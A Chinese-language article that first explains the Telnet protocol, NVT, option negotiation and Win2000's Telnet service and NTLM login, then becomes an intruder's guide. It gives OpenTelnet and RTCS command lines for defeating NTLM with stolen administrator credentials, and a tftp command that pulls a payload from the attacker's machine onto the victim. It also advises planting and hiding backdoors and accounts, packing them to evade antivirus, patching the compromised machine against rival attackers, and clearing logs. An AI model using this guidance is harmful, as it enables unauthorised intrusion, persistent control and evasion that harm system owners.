Telnet服务虽然也属于客户机/服务器模型的服务,但它更大的意义在于实现了基于Telnet协议的远程登录(远程交互式计算),那么就让我们来认识一下远程登录。

1 远程登陆的基本概念

先来看看什么叫登录:分时系统允许多个用户同时使用一台计算机,为了保证系统的安全和记帐方便,系统要求每个用户有单独的帐号作为登录标识,系统还为每个用户指定了一个口令。用户在使用该系统之前要输入标识和口令,这个过程被称为'登录'。

远程登陆是指用户使用Telnet命令,使自己的计算机暂时成为远程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器,它只负责把用户输入的每个字符传递给主机,再将主机输出的每个信息回显在屏幕上。

2 远程登陆的产生及发展

我们可以先构想一个提供远程文字编辑的服务,这个服务的实现需要一个接受编辑文件请求和数据的服务器以及一个发送此请求的客户机。客户机将建立一个从本地机到服务器的TCP连接,当然这需要服务器的应答,然后向服务器发送键入的信息(文件编辑信息),并读取从服务器返回的输出。以上便是一个标准而普通的客户机/服务器模型的服务。

似乎有了客户机/服务器模型的服务,一切远程问题都可以解决了。然而实际并非你想象的那样简单,如果我们仅需要远程编辑文件,那么刚才所构想的服务完全可以胜任,但假如我们的要求并不是这么简单,我们还想实现远程用户管理,远程数据录入,远程系统维护,想实现一切可以在远程主机上实现的操作,那么我们将需要大量专用的服务器程序并为每一个可计算服务都使用一个服务器进程,随之而来的问题是:远程机器会很快对服务器进程应接不暇,并淹没在进程的海洋里(我们在这里排除最专业化的远程机器)。

那么有没有办法解决呢?当然有,我们可以用远程登录来解决这一切。我们允许用户在远地机器上建立一个登录会话,然后通过执行命令来实现更一般的服务,就像在本地操作一样。这样,我们便可以访问远地系统上所有可用的命令,并且系统设计员不需提供多个专用地服务器程序。

问题发展到这里好像前途一片光明了,用远程登录总应该解决问题了吧,但要实现远程登陆并不简单。不考虑网络设计的计算机系统期望用户只从直接相连的键盘和显示器上登录,在这种机器上增加远程登陆功能需要修改机器的操作系统,这是极其艰巨也是我们尽量避免的。因此我们应该集中力量构造远程登陆服务器软件,虽然这样也是比较困难的。为什么说这样做也比较困难呢?

举个例子来说:一般,操作系统会为一些特殊按键分配特殊的含义,比如本地系统将'Ctrl+C'解释为:'终止当前运行的命令进程'。但假设我们已经运行了远程登陆服务器软件,'Ctrl+C'也有可能无法被传送到远地机器,如果客户机真的将'Ctrl+C'传到了远地机器,那么'Ctrl+C'这个命令有可能不能终止本地的进程,也就是说在这里很可能会产生混乱。而且这仅仅是遇到的难题之一。

但尽管有技术上的困难,系统编程人员还是设法构造了能够应用于大多数操作系统的远程登陆服务器软件,并构造了充当客户机的应用软件。通常,客户机软件取消了除一个键以外的所有键的本地解释,并将这些本地解释相应的转换成远地解释,这就使得客户机软件与远地机器的交互,就如同坐在远程主机面前一样,从而避免了上述所提到的混乱。而那个唯一例外的键,可以使用户回到本地环境。

将远程登陆服务器设计为应用级软件,还有另一个要求,那就是需要操作系统提供对伪终端(pseudo terminal)的支持。我们用伪终端描述操作系统的入口点,它允许像Telnet服务器一样的程序向操作系统传送字符,并且使得字符像是来自本地键盘一样。只有使用这样的操作系统,才能将远程登陆服务器设计为应用级软件(比如Telnet服务器软件),否则,本地操作系统和远地系统传送将不能识别从对方传送过来的信息(因为它们仅能识别从本地键盘所键入的信息),远程登陆将宣告失败。

将远程登陆服务器设计为应用级软件虽然有其显著的优点:比将代码嵌入操作系统更易修改和控制服务器。但其也有效率不高的缺点(后面的内容将会给予解释),好在用户键入信息的速率不高,这种设计还是可以接受的。

3 远程登录的工作过程

使用Telnet协议进行远程登陆时需要满足以下条件:在本的计算机上必须装有包含Telnet协议的客户程序;必须知道远程主机的Ip地址或域名;必须知道登录标识与口令。

Telnet远程登录服务分为以下4个过程:

1)本地与远程主机建立连接。该过程实际上是建立一个TCP连接,用户必须知道远程主机的Ip地址或域名;

2)将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT(Net Virtual Terminal)格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据报;

3)将远程主机输出的NVT格式的数据转化为本地所接受的格式送回本地终端,包括输入命令回显和命令执行结果;

4)最后,本地终端对远程主机进行撤消连接。该过程是撤销一个TCP连接。


上面的内容只是讨论了远程登陆最基本的东西,其中的复杂和编程人员的艰辛是我们难以想象的,不知道你在舒服的使用Telnet的同时,是否想到了这些!

三 Telnet协议

我们知道Telnet服务器软件是我们最常用的远程登录服务器软件,是一种典型的客户机/服务器模型的服务,它应用Telnet协议来工作。那么,什么是Telnet协议?它都具备哪些特点呢?

1 基本内容

Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议。应用Telnet协议能够把本地用户所使用的计算机变成远程主机系统的一个终端。它提供了三种基本服务:

1)Telnet定义一个网络虚拟终端为远的系统提供一个标准接口。客户机程序不必详细了解远的系统,他们只需构造使用标准接口的程序;

2)Telnet包括一个允许客户机和服务器协商选项的机制,而且它还提供一组标准选项;

3)Telnet对称处理连接的两端,即Telnet不强迫客户机从键盘输入,也不强迫客户机在屏幕上显示输出。

2 适应异构

为了使多个操作系统间的Telnet交互操作成为可能,就必须详细了解异构计算机和操作系统。比如,一些操作系统需要每行文本用ASCII回车控制符(CR)结束,另一些系统则需要使用ASCII换行符(LF),还有一些系统需要用两个字符的序列回车-换行(CR-LF);再比如,大多数操作系统为用户提供了一个中断程序运行的快捷键,但这个快捷键在各个系统中有可能不同(一些系统使用CTRL+C,而另一些系统使用ESCAPE)。如果不考虑系统间的异构性,那么在本地发出的字符或命令,传送到远地并被远地系统解释后很可能会不准确或者出现错误。因此,Telnet协议必须解决这个问题。

为了适应异构环境,Telnet协议定义了数据和命令在Internet上的传输方式,此定义被称作网络虚拟终端NVT(Net Virtual Terminal)。它的应用过程如下:

对于发送的数据:客户机软件把来自用户终端的按键和命令序列转换为NVT格式,并发送到服务器,服务器软件将收到的数据和命令,从NVT格式转换为远地系统需要的格式;
对于返回的数据:远地服务器将数据从远地机器的格式转换为NVT格式,而本地客户机将将接收到的NVT格式数据再转换为本地的格式。
对于NVT格式的详细定义,有兴趣的朋友可以去查找相关资料。

3 传送远地命令

我们知道绝大多数操作系统都提供各种快捷键来实现相应的控制命令,当用户在本地终端键入这些快捷键的时候,本地系统将执行相应的控制命令,而不把这些快捷键作为输入。那么对于Telnet来说,它是用什么来实现控制命令的远地传送呢?

Telnet同样使用NVT来定义如何从客户机将控制功能传送到服务器。我们知道USASCII字符集包括95个可打印字符和33个控制码。当用户从本地键入普通字符时,NVT将按照其原始含义传送;当用户键入快捷键(组合键)时,NVT将把它转化为特殊的ASCII字符在网络上传送,并在其到达远地机器后转化为相应的控制命令。将正常ASCII字符集与控制命令区分主要有两个原因:

1)这种区分意味着Telnet具有更大的灵活性:它可在客户机与服务器间传送所有可能的ASCII字符以及所有控制功能;

2)这种区分使得客户机可以无二义性的指定信令,而不会产生控制功能与普通字符的混乱。

4 数据流向

上面我们提到过将Telnet设计为应用级软件有一个缺点,那就是:效率不高。这是为什么呢?下面给出Telnet中的数据流向:

数据信息被用户从本地键盘键入并通过操作系统传到客户机程序,客户机程序将其处理后返回操作系统,并由操作系统经过网络传送到远地机器,远地操作系统将所接收数据传给服务器程序,并经服务器程序再次处理后返回到操作系统上的伪终端入口点,最后,远地操作系统将数据传送到用户正在运行的应用程序,这便是一次完整的输入过程;输出将按照同一通路从服务器传送到客户机。

因为每一次的输入和输出,计算机将切换进程环境好几次,这个开销是很昂贵的。还好用户的键入速率并不算高,这个缺点我们仍然能够接受。

5 强制命令

我们应该考虑到这样一种情况:假设本地用户运行了远地机器的一个无休止循环的错误命令或程序,且此命令或程序已经停止读取输入,那么操作系统的缓冲区可能因此而被占满,如果这样,远地服务器也无法再将数据写入伪终端,并且最终导致停止从TCP连接读取数据,TCP连接的缓冲区最终也会被占满,从而导致阻止数据流流入此连接。如果以上事情真的发生了,那么本地用户将失去对远地机器的控制。

为了解决此问题,Telnet协议必须使用外带信令以便强制服务器读取一个控制命令。我们知道TCP用紧急数据机制实现外带数据信令,那么Telnet只要再附加一个被称为数据标记(date mark)的保留八位组,并通过让TCP发送已设置紧急数据比特的报文段通知服务器便可以了,携带紧急数据的报文段将绕过流量控制直接到达服务器。作为对紧急信令的相应,服务器将读取并抛弃所有数据,直到找到了一个数据标记。服务器在遇到了数据标记后将返回正常的处理过程。

6 选项协商

由于Telnet两端的机器和操作系统的异构性,使得Telnet不可能也不应该严格规定每一个telnet连接的详细配置,否则将大大影响Telnet的适应异构性。因此,Telnet采用选项协商机制来解决这一问题。

Telnet选项的范围很广:一些选项扩充了大方向的功能,而一些选项制涉及一些微小细节。例如:有一个选项可以控制Telnet是在半双工还是全双工模式下工作(大方向);还有一个选项允许远地机器上的服务器决定用户终端类型(小细节)。

Telnet选项的协商方式也很有意思,它对于每个选项的处理都是对称的,即任何一端都可以发出协商申请;任何一端都可以接受或拒绝这个申请。另外,如果一端试图协商另一端不了解的选项,接受请求的一端可简单的拒绝协商。因此,有可能将更新,更复杂的Telnet客户机服务器版本与较老的,不太复杂的版本进行交互操作。如果客户机和服务器都理解新的选项,可能会对交互有所改善。否则,它们将一起转到效率较低但可工作的方式下运行。所有的这些设计,都是为了增强适应异构性,可见Telnet的适应异构性对其的应用和发展是多么重要。

上面讨论了一些原理方面的东西,虽然我们在Telnet的使用过程中很难接触到这一层面,但我认为了解这些是有意义的,它会给我们带来许多启示。下面让我们来看看Win2000的Telnet服务。

四 Win2000的Telnet服务

其实从应用层面上,Win2000的Telnet服务并没有什么可说的,绝大部分内容你都可以从HELP文件中得到,我在此只是把它稍微整理一下而已。

1 基本配置

Win2000为我们提供了Telnet客户机和服务器程序:Telnet.exe是客户机程序(Client),tlntsvr.exe是服务器程序(server),同时它还为我们提供了Telnet服务器管理程序tlntadmn.exe。

Windows 2000 默认安装了 Telnet 服务,但是并没有默认启动。下面给出HELP文件中 Telnet 服务的一部分默认设置:

AllowTrustedDomain:是否允许域用户访问。默认值是1,允许信任域用户访问。可以改为0: 不允许域用户访问(只允许本地用户)。

DefaultDomain:可以对与该计算机具有信任关系的任何域设置。默认值是"."。

DefaultShell:显示 shell 安装的路径位置。默认值是: %systemroot%/System32/Cmd.exe /q /k

MaxFailedLogins:在连接终止之前显示尝试登录失败的最大次数。默认是3。

LoginScript:显示 Telnet 服务器登录脚本的路径位置。默认的位置就是“%systemroot%/System32/login.cmd”,你可以更改脚本内容,这样登录进Telnet的欢迎屏幕就不一样了。

NTLM:NTLM身份验证选项。默认是2。可以有下面这些值:
0: 不使用 NTLM 身份验证。
1: 先尝试 NTLM 身份验证,如果失败,再使用用户名和密码。
2: 只使用 NTLM 身份验证。

TelnetPort:显示 telnet 服务器侦听 telnet 请求的端口。默认是:23。你也可以更改为其他端口。

以上各项设置你可以使用tlntadmn.exe(Telnet服务器管理程序)来进行非常方便的配置,配置后需要重新启动Telnet服务。如图1

2 NTLM

提到了telnet就不能不提NTLM,我想这也是让入侵者最为头痛的一件事,哪怕你获得了管理员帐号和密码,想简单通过NTLM也并非易事,况且win2000中的telnet默认仅以NTLM方式验证身份,这就让我们不得不关注NTLM这个东东,那么什么是NTLM呢?

早期的SMB协议在网络上明文传输口令,后来出现了"LAN Manager Challenge/Response"验证机制,简称LM,它十分简单以至很容易被破解,微软随后提出了WindowsNT挑战/响应验证机制,即NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。NTLM工作流程是这样的:

1、客户端首先在本地加密当前用户的密码成为密码散列
2、客户端向服务器发送自己的帐号,这个帐号是没有经过加密的,明文直接传输
3、服务器产生一个16位的随机数字发送给客户端,作为一个 challenge(挑战)
4、客户端再用加密后的密码散列来加密这个 challenge ,然后把这个返回给服务器。作为 response(响应)
5、服务器把用户名、给客户端的challenge 、客户端返回的 response 这三个东西,发送域控制器
6、域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密 challenge。
7、域控制器比较两次加密的 challenge ,如果一样,那么认证成功。

从上面的过程我们可以看出,NTLM是以当前用户的身份向Telnet服务器发送登录请求的,而不是用你扫到的对方管理员的帐户和密码登录,显然,你的登录将会失败。举个例子来说,你家的机器名为A(本地机器),你入侵的机器名为B(远地机器),你在A上的帐户是xinxin,密码是1234,你扫到B的管理员帐号是Administrator,密码是5678,当你想Telnet到B时,NTLM将自动以当前用户的帐号和密码作为登录的凭据来进行上面的7项操作,即用xinxin和1234,而并非用你扫到的Administrator和5678,且这些都是自动完成的,根本不给你插手的机会,因此你的登录操作将失败。

由于Telnet服务器对NTLM的使用有3个选项,所以当你Telnet远地机器时,会显示下面情况中的一种:

1)身份验证选项=0时
=====================================
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:

//为0时不使用NTML身份验证,直接输入用户名和密码,比如你可以输入扫到的Administrator和5678


2)身份验证选项=1时
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:

//先尝试 NTLM 身份验证,如果失败,再使用用户名和密码,其实这种方式对于我们来说,与上一种方式没什么区别


3)身份验证选项=2时
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Server allows NTLM authentication only
Server has closed connection
遗失对主机的连接。
C:/>

//仔细看看上面的显示,根本没有给你输入用户名和密码的机会,直接断开连接,扫到了密码也是白扫

所以对于入侵者来说,NTLM是横在我们面前的一座大山,必须要除掉它,一般我们有如下几种方法:

1通过修改远程注册表更改telnet服务器配置,将验证方式从2改为1或0;
2使用NTLM.exe,上传后直接运行,可将telnet服务器验证方式从2改为1;
3在本地建立扫描到的用户,以此用户身份开启telnet客户机并进行远程登录;
4使用软件,比如opentelnet.exe(需要管理员权限且开启IPC管道)
5使用脚本,如RTCS,(需要管理员权限但不依赖IPC管道)

基本上是以上的5种,其中后两种是我们比较常用的开telnet的手法,而且使用方法十分简单,命令如下:

OpenTelnet.exe //server username password NTLMAuthor telnetport
OpenTelnet.exe //服务器地址 管理员用户名 密码 验证方式(填0或1) telnet端口

cscript RTCS.vbe targetIP username password NTLMAuthor telnetport
cscript RTCS.vbe <目标IP> <管理员用户名> <密码> <验证方式> <tlnet端口>


五 在telnet中该做什么

本来写到上面就想结束了,不过许多朋友都说telnet上去后不知道该做什么了,既然这样,那我就抛砖引玉吧,这次不讲具体做法,只是说说思路,什么?为什么不讲具体做法?篇幅不够嘛,以后我会一一解释的。

1 查看系统信息

呵呵,其实就是随处看看,看看他的系统配置和版本(用type c:/boot.ini来知道pro版或server版),看看都装了什么服务或软件(从目录名就可以知道了),看看有什么重要或有趣的文件啦(唉,要是国外的机器,看也看不懂),看看他的用户情况,总之就是尽可能多的了解系统,为一会装后门摸底。

2 使用tftp传送文件

想必大家都遇到过在telnet中传输文件的问题,因为我们习惯了在ipc管道中的文件传输,所以有些朋友喜欢用net share ipc$ 来打开管道,进而利用copy来传输文件。不过这样反而麻烦,既然我们已经得到了shell,我们可以用TFPT命令来完成这一切,什么是TFTP呢?


用TFTP(Trivial File Transfer Protocol)来实现文件的传送是一种基于UDP连接的文件传输,一般是使用Windows自带的tftp.exe和一个TFTP服务器端软件构成一个完整的传输结构。它是这样使用的: 首先运行本地的TFTP Server(比如tftpd32.exe)软件并保证始终开启直至传输全部完成, 然后在telnet中(当然你也可以在其他shell中)运行下面的命令:
C:/>tftp –i ip get xinxin.exe c:/abc/xinxin.exe
其中ip为你自己机器的ip,且上传文件要与TFTP服务器端在同一目录下,这样你就可以把xinxin.exe上传到c盘abc目录下了(其实是从tftp服务器下载来的)

需要指出的是,如果使用代理IP,你将不能实现与外部网络的文件传送。因为你的代理网关在进行数据封装的时候会将自己的IP地址加入到你的数据报中,代替你的内部网络地址,所以在外部网络进行MAC寻址时是找不到你这台TFTP服务器的。

3 安置后门

安置后门放在第二步好像早了点,如果你入侵还有其他目的,比如以破坏为主,或者是来修改主页的,那么这些事情当然可以在安置后门之前做;如果你只是想得到一只肉鸡,那就没什么可说的了,安后门吧。

后门的种类繁多,也给我们提供了很大的选择余地,能够根据具体情况选择合适的后门的确是一门学问。常用的后门一般有:木马,asp木马,远程控制软件,克隆帐户,建立并隐藏帐户,telnet,telnet扩展的shell,终端服务等。安置一个好的后门通常要注意以下几点:

1 不会被防火墙查杀及阻碍通信:被加入病毒库的后门最好加壳以逃过防火墙,尽量用低端口通信,以免被防火墙屏蔽。

2 最大限度增加隐蔽性:如果你选择远程控制软件,要注意被控端的安装提示和小图标,以及是否同步画面;如果你在帐户上做文章,要尽量保持在cmd和用户管理中都不出破绽;如果你选择放木马或telnet扩展,要注意文件和进程的隐藏;如果新开了终端服务(入侵前并没有开),一定要该掉3389这个显眼的端口,且越低越好。

3 不要当管理员不存在:这是一个大忌,许多朋友在只有默认帐户的机器上建立类似'hacking'的管理员帐户,真是无知者无畏呀。所以安置后门的时候,想想管理员疏忽的地方会在哪里。

4 打补丁

如果想独霸肉鸡,就要会打补丁,要知道对肉鸡的竞争是很激烈的。怎么打补丁呢?这个也要问?想想你是怎么进来的吧。算了,提示一下,除了修补大的漏洞以外(上传官方补丁并运行),也要注意它的共享,ipc$共享(最好都关闭),可疑端口,容易被利用的服务等。不过打补丁也要注意隐蔽性的,不要让管理员发现大的改动。

5 清除日志

可以手动或利用软件,如果不太会就去找相关教材吧,在这里我不详细介绍了。

六 结束语

文章的前部分主要说了一些原理性的东西,后部分则侧重于应用,写的多了难免会有些遗漏